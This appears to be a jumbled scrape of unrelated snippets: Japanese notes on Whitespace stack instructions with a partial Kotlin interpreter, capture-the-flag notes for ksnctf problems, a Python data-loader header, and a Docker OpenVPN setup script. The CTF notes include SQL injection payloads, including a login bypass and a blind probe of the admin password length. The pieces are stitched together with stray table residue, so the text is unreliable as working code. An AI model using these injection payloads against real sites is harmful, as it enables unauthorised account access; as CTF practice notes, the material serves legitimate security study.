- S-S-(S|T)(S|T)+L: スタックに積む(S:正,T:負)(S:0,T:1)
- S-TS-(S|T)+L: スタックの上からN番目の値を複製
- S-TL-(S|T)+L: スタックの上から2番目以降をN個破棄
- S-LS:
a:b:[] -> a:a:b[]
スタックの一番上の値を複製 - S-LT:
a:b:[] -> b:a:[]
スタックの上の2つの値を交換 - S-LL:
a:b:[] -> b:[]
スタックの一番上の値を破棄
- TS-SS:
a:b:[]->(b+a):[]
import java.io.InputStream | |
import java.io.File | |
fun String.binaryToUnsignedInt(): Int = this.fold(0) { | |
acc, c -> acc * 2 + if (c == 'T') 1 else 0 | |
} | |
fun String.binaryToInt(): Int = | |
this.drop(1).binaryToUnsignedInt() * if (this.first() == 'S') 1 else -1 | |
fun <T> MutableList<T>.pop(index: Int = 0) = this.removeAt(this.lastIndex - index) |
http://ksnctf.sweetduet.info/problem/7
PIN:
と聞かれる$ runkotlin whitespace.kt program.cpp true
S-S-STSTSSSSL # stack push 80
TL-SS # io print char from 80: P
http://ksnctf.sweetduet.info/problem/6
admin
でログインしろと言われるのでとりあえず、SQLインジェクション
pass: ' OR 1=1;--
' OR (SELECT length(pass) FROM user WHERE id='admin') < 22;--
""" | |
inspired by | |
https://github.com/harvitronix/five-video-classification-methods/blob/master/data.py | |
""" | |
import operator | |
import os | |
import random | |
import threading | |
from glob import glob |
OVPN_DATA="ovpn-data" | |
VPN_SERVERNAME="server_name" | |
VPN_PORT=1194 | |
VPN_CLIENTNAME="client_name" | |
echo "create volume..." | |
docker volume create --name $OVPN_DATA | |
echo "done." | |
echo "ovpn_genconfig..." | |
docker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_genconfig -u udp://$VPN_SERVERNAME | |
echo "done." |